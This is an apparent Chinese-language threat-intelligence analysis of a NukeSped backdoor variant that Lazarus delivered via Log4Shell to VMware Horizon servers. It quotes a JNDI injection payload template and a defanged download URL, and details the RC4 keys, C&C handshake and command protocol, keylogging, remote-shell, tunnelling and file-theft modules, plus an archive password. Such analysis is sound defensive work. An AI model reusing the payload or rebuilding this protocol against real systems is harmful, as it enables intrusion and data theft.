Lazarus利用 Log4Shell 漏洞投递恶意程序NukeSped
· 5 分钟阅读 · @admin

2021年12月9日晚,基于Java的日志记录程序Log4j的一个远程执行漏洞(CVE-2021-44228)POC被公开。攻击者使用${}关键标识符触发JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞并成功利用此漏洞在目标服务器上执行任意代码。
今年4月份,有安全研究人员发现Lazarus利用Log4jShell漏洞入侵VMWare Horizon服务器,攻击者使用类似于${jndi:Idap://example} 的payload然后启动powershell从hxxp://185.29.8.18/htory.exe下载恶意程序,该命令由ws_TomcatService.exe生成。
{% asset_img clip_image001.png example %}
2. 详细分析
2.1 splwow64.exe
该恶意程序由攻击者在投递在未打安全补丁的VMWare Horizon服务器,伪装成微软的打印机相关程序splwow64.exe。

2.2 NukeSped分析
NuKeSped是一种后门恶意程序,可以从C&C服务器接收攻击者命令并执行接收到的命令。此次分析的样本为NukeSped的一个变种,从2020年来一直被Lazarus使用。
恶意程序中所有的明文字符串使用RC4算法加密,包括C&C服务器列表和API名称。对于不同类型的RC4解密使用不同的密钥。
字符串使用密钥:
7B CA D5 7E 18 AE 26 D8 60 1B 61 DA 83 80 11 72 01 6c 54 D8 8A
C&C通信
CD 80 5D D6 6C 1C 63 78 AF 13 7F 67 5B E9 B1 F4 87 27 EE 91 F3 5F 17 EE 9B 6A 28 61 8C F4

NuKeSped可以根据收到的命令执行键盘记录、屏幕截屏和远程cmdshell等功能。这些功能分别使用不同的类来实现。
ModuleUpdate
ModuleInformation
ModuleShell
ModuleFileManager
ModuleKeyLogger
ModuleSocksTunnel
ModuleScreenCapture
ModuleWebCamera
ModuleUsbDump
2.3.1 C&C通信
1. 连接验证
使用常见的socket网络编程与C&C服务器进行通信, 建立连接后发送数据”HTTP 1.1 /member.php SSL3.4”到C&C服务器, 伪装成SSL通信方式。
当C&C返回数据”HTTP 1.1 200 OK SSL2.1”时,验证通过进行下一步操作,否则断开与C&C服务器的连接。

从这时起, 使用固定格式的数据用RC4加密算法加密后发送到C&C服务器。
Struct format{
Uint32_t modId;
Uint32_t subCmdId;
Uint32_t dataSize;
char_t data[dataSize];
}
发送受害者标识到C&C服务器,还要发送额外的数据到C&C服务器,用于告知C&C服务器可以派发指令。

2. 接收数据
由于从C&C服务器下发的数据为加密状态,因此需要先使用RC4算法解密。

3. 指令处理
解密后的数据包为固定格式,第一个字节为模块ID,第二个字节为该模块要执行的命令ID,第三个字节后面为要执行的命令需要的参数数据。
NukeSped会通过模块ID来确定由哪个模块,命令ID来确定要执行的命令。

2.3.2 模块功能分析
1. ModuleUpdate
该模块ID为1,从类名上看应该是模块更新,但其实并没有模块更新的功能。该模块接收三种指令。

cmd为0时,发送数据”\x01\x00\x01\x00”到C&C服务器,告知C&C服务器操作已经执行完成。cmd为0x20时,退出程序。Cmd为0x30时将自删除代码写入文件“edg88DE.bat”并隐秘执行该文件。

2. ModuleInformation
该模块ID为2,主要功能为从受害者机器上收集计算机名、用户名、操作系统信息和网络适配器信息。

收集计算机名
收集受害者机器的计算机名并发送到C&C服务器。

收集用户名
收集受害者机器的计算机名并发送到C&C服务器。

3. 收集操作系统版本信息
使用函数RtlGetVersion、GetNativeSystemInfo和GetSystemMetrics获取操作系统相关信息,其中部分数据的收集需要指定版本的操作系统。

收集的数据保存到结构体为os_info的buf并上传到C&C服务器。
struct os_info
{
int dwOSVersionInfoSize;
int dwMajorVersion;
int dwMinorVersion;
int dwBuildNumber;
uint32_t dwPlatformId;
WCHAR szCSDVersion[128];
int pading[2];
_WORD wProcessorArchitecture;
int pading2;
_DWORD dwReturnedProductType;
_DWORD version;
};
收集网络适配器信息
恶意程序通过函数GetAdaptersInfo收集网络适配器信息并保存到结构体为IP_ADAPTER_INFO的buff中,从buff中读取网络适配器描述、硬件地址、与适配器关联的Ipv4地址、DHCP和网关相关信息。
上传网络适配器相关信息时并不是把所有数据打包在一起然后上传,而是根据不同类型分别上传。上传到C&C服务器的数据(未加密)格式如下,其中modID在该模块中值为2。
{modid}{SubCmdID}{dataSize}{data}
不同SubCmdID收集的数据如下:
| SubCmdID | dataSize | 描述 |
|---|---|---|
| 0x33 | 0x40 | 网络适配器描述 |
| 0x34 | 0x10 | 与网络适配器关联的IPv4地址 |
| 0x35 | 0x10 | 与网络适配器关联的IPv4掩码 |
| 0x31 | 0x06 | 网络适配的硬件地址 |
| 0x36 | 0x10 | 网关的Ipv4地址 |
| 0x37 | 0x10 | 网关的Ipv4掩码 |
| 0x38 | 0x10 | DHCP服务器的Ipv4地址 |
| 0x39 | 0x10 | DHCP服务器的Ipv4掩码 |
| 0x32 | 0x00 | 告知C&C服务器数据收集结束 |
3. ModuleShell
该模块主要功能为创建远程shell来执行命令, 设置和获取当前进程的工作路径。

1.创建远程shell
使用cmd执行从C&C服务器下发的命令并上传执行结果

2.检测网络连接
检测受害者机器是否能够连接指定的IP地址,并将结果上传到C&C服务器。

4 ModuleFileManager
该模块主要功能为实现一些常见的文件操作。包括创建文件、打开文件和收集文件详细信息。

5 ModuleKeyLogger
该模块主要功能为记录按键记录保存到文件或者发送到C&C服务器。

通过函数来获取当前进程名、当前窗口标题和当前系统时间来标识按键记录归属于哪个进程,当窗口被切换时重新获取。

每隔5秒对处理一次按键记录,由字段bUseLoggerFile来决定时保存到文件还是发送到C&C服务器。

6 ModuleSocksTunnel
顾名思义该模块提供socks隧道功能。从C&C服务器接收到特定地址并建立连接后,它充当C&C服务器与该地址之间的代理。即将从C&C服务器接收到的数据下发到目的地址,将从目的地址接收到的数据下发到C&C服务器。
这将允许攻击者直接与新的攻击目标进行通信,可以通过新的NukeSped来访问。

将从指定IP地址接收的数据发送到C&C服务器。

7 ModuleScreenCapture
该模块主要功能为获取当前屏幕截图并发送到C&C服务器或者接收从C&C下发的位置信息模拟鼠标点击。该模块支持的功能如下图:

屏幕截图代码实现如下:

要将屏幕截图保存为jpg格式,需要判断受害者机器是否支持该编码方式,最后返回jpg编码对应的CLSID。

利用IStream接口来读取图片数据,上传屏幕截图数据到C&C服务器时,首先发送图片数据的大小然后再发送图片数据。

接收从C&C下发的位置信息并将其设置为光标的当前位置,调用函数mouse_event来模拟鼠标的单击或双击等事件。

8. ModuleWebCamera
从模块名上看应该是针对摄像头进行的一些操作,这是NukeSped新增的功能,在以往的版本中并不存在。在该样本中并没有实现该功能,不排除下一版本会投入实际应用中。
9. ModuleUsbDump
该模块主要功能为收集受害者机器文档数据。

读取GDIPFONTC文件信息
通过函数遍历**%appdata%目录下以GDIPFONTC**开头的文件名,将收集到的文件信息保存为结构体usbDumpInfo并上传到C&C服务器。
该类主要是Windows自动加载的内核文件,主要作为字体或者图像的缓存,在这里被NukeSped用于保存收集到的文件信息。

结构体usbDumpInfo定义如下:
struct usbDumpInfo
{
_DWORD nFileSizeLow;
_DWORD nFileSizeHigh;
FILETIME ftCreationTime;
FILETIME ftLastWriteTime;
char cFileName[256];
};
创建GDIPFONTC文件
如果受害者机器上有多个分区,则创建文件GDIPFONTC{ticket}.dat,该文件实际上是被使用zlib算法压缩加密的文件,加密密码为:
PJU12345^&*()19970325~~~

迭代遍历每个分区下指定格式的文档文件(除了C盘),加密并保存到文件GDIPFONTC{ticket}.dat中。

读取指定文件指定偏移数据
文件名和文件由C&C服务器下发,新建一个线程用于读取文件内容,等待恶意程序执行函数Sleep来触发执行该线程。

C&C通信指令
如无特殊说明以下通信包大小及格式都是指未加密前数据。与C&C通信时使用固定格式:
Struct format{
Uint32_t modId;
Uint32_t subCmdId;
Uint32_t dataSize;
char_t data[dataSize];
}
恶意程序使用到的部分指令如下表:
| 模块ID | 模块名 | subCmdId | 功能描述 |
|---|---|---|---|
| 1 | ModuleUpdate | 0x01 | 告知C&C服务器等待其下发指令 |
| 2 | ModuleInformation | 0x11 | 发送用户名 |
| 0x21 | 发送操作版本信息 | ||
| 0x33 | 上传网络适配器描述 | ||
| 0x34 | 上传与网络适配器关联的IPv4地址 | ||
| 0x35 | 上传与网络适配器关联的IPv4掩码 | ||
| 0x31 | 上传网络适配的硬件地址 | ||
| 0x36 | 上传网关的Ipv4地址 | ||
| 0x37 | 上传网关的Ipv4掩码 | ||
| 0x38 | 上传DHCP服务器的Ipv4地址 | ||
| 0x39 | 上传DHCP服务器的Ipv4掩码 | ||
| 0x32 | 告知C&C服务器网络适配器数据收集结束 | ||
| 0x41 | 上传用户名 | ||
| 3 | ModuleShell | 0x32 | 创建cmd进程失败 |
| 0x12 | 远程shell已关闭 | ||
| 0x11 | 上传远程shell执行结果或者网络检测结果 | ||
| 0x31 | 上传当前进程的工作目录 | ||
| 0x32 | |||
| 4 | ModuleFileManager | 0x10 | 上传驱动器信息 |
| 0x20 | 上传指定目录下的文件信息 | ||
| 0x21 | 上传指定目录下的文件信息完成 | ||
| 0x31 | 删除指定文件成功 | ||
| 0x32 | 删除指定文件失败 | ||
| 0x41 | 创建文件成功 | ||
| 0x44 | 创建文件失败 | ||
| 0x52 | 打开文件失败 | ||
| 0x51 | 打开文件成功 | ||
| 0x55 | 上传文件的创建时间、最后一次写入和访问时间 | ||
| 0x53 | 分段上传文件数据 | ||
| 0x54 | 文件上传成功 | ||
| 0x61 | 执行文件成功 | ||
| 0x62 | 执行文件失败 | ||
| 0x71 | 上传指定目录下所有文件的总大小 | ||
| 0x79 | 上传文件的创建时间、最后一次写入和访问时间 | ||
| 0x76 | 分段上传文件数据 | ||
| 0x77 | 文件上传成功 | ||
| 5 | ModuleKeyLogger | 0x16 | 上传按键记录 |
| 0x29 | 结束按键记录 | ||
| 0x26 | 上传 ksecshod文件大小 | ||
| 0x27 | 上传 ksecshod文件 | ||
| 0x28 | 结束上传文件 | ||
| 0x31 | Ksecshod已被删除 | ||
| 0x22 | 告知C&C服务器使用文件保存按键记录 | ||
| 0x91 | 上传指定目录(包括子目录)下所有文件的文件总大小 | ||
| 0x82 | 上传指定目录下的文件信息 | ||
| 0x83 | 上传文件信息成功 | ||
| 0x84 | 上传文件信息失败 | ||
| 6 | ModuleSocksTunnel | 0xA1 | 创建socket隧道失败 |
| 0xA4 | 将从代理地址收到的数据报发送到C&C服务器 | ||
| 0xA2 | 准备开始进行隧道通信 | ||
| 7 | ModuleScreenCapture | 0x12 | 屏幕截图失败 |
| 0x30 | 上传屏幕截图的图片大小 | ||
| 0x31 | 分段上传图片 | ||
| 0x32 | 图片上传完成 | ||
| 0x21 | 按键模拟点击完成 | ||
| 8 | ModuleUsbDump | 0x31 | 上GDIPFONTC{ticket}.dat文件信息 |
| 0x21 | 开始启动usb dump功能 | ||
| 0x55 | 创建GDIPFONTC{ticket}.dat失败 | ||
| 0x53 | 上GDIPFONTC{ticket}.dat文件大小 | ||
| 0x51 | 分段上传文件GDIPFONTC{ticket}.dat | ||
| 0x56 | 上传文件GDIPFONTC{ticket}.dat | ||
| 0x52 | 上传文件GDIPFONTC{ticket}.dat成功 | ||
| 0x61 | 删除指定文件成功 | ||
| 0x62 | 删除指定文件失败 |
3. ATT&CK矩阵
| Tactic | ID | Name | Description |
|---|---|---|---|
| Exfiltration | T1041 | Exfiltration Over C2 Channel | 通过C&C上传收集信息 |
| T1030 | Data Transfer Size Limits | 上传文件或者消息时分块上传 | |
| Command and Control | T1090 | Proxy | 实现socket隧道连接作为代理的IP地址 |
| T1572 | Protocol Tunneling | 实现socket隧道实现通信 | |
| T1095 | Non-Application Layer Protocol | 使用socket与C&C通信 | |
| T1008 | Fallback Channels | 有多个备用的C&C地址 | |
| T1573 | Encrypted Channel | 通信流量使用RC4算法加密 | |
| Collection | T1113 | Screen Capture | 屏幕截图 |
| T1056 | Input Capture | 键盘记录 | |
| T1074 | Data Staged | 收集的信息暂时存放在本地文件 | |
| T1005 | Data from Local System | 遍历本地文件 | |
| T1560 | Archive Collected Data | 压缩加密收集到的数据 | |
| Discovery | T1124 | System Time Discovery | 记录键盘按键的时间 |
| T1016 | System Network Configuration Discovery | 获取网络适配器信息 | |
| T1082 | System Information Discovery | 获取操作系统版本信息 | |
| File and Directory Discovery | 遍历所有文件和目录 | ||
| Defense Evasion | T1036 | Masquerading | 伪装成windwos程序splwow64.exe |
| Execution | T1059 | Command and Scripting Interpreter | 执行自删除脚本 |

